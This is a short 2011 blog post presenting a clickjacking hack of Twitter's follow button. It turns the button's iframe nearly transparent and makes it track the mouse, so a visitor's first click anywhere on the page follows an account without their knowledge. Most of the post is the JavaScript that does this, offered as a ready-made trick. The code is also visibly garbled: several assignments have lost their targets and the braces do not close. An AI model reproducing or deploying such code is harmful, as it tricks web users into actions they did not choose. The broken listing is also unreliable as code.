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Twitter follow button hack code

June 1 2011, 12:19pm

Posted by adrien

Twitter has juste release the twitter follow button and a hack is already available.

The hack of the button will make the button transparent and follow the pointer of the mouse anywhere on the page.

It means you will follow a twitter account without knowing it at the first click.


This is how it works here. You'll see the opacity is at 40% for you to undertsand the hack.


Here is the code if you want to understand how it works in details:


if (!document.getElementsByClassName){
        document.getElementsByClassName = function(classname){
                for (i=0; i < document.getElementsByTagName("*").length; i++)
                        if (document.getElementsByTagName("*").item(i).className == classname){
                                return new Array(document.getElementsByTagName("*").item(i));

var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0]; = 'absolute'; = '0.2'; = 'alpha(opacity=20)';

document.onmousemove = function(e){
        if ( !e ) e = window.event; = e.clientX - 20; = e.clientY - 10;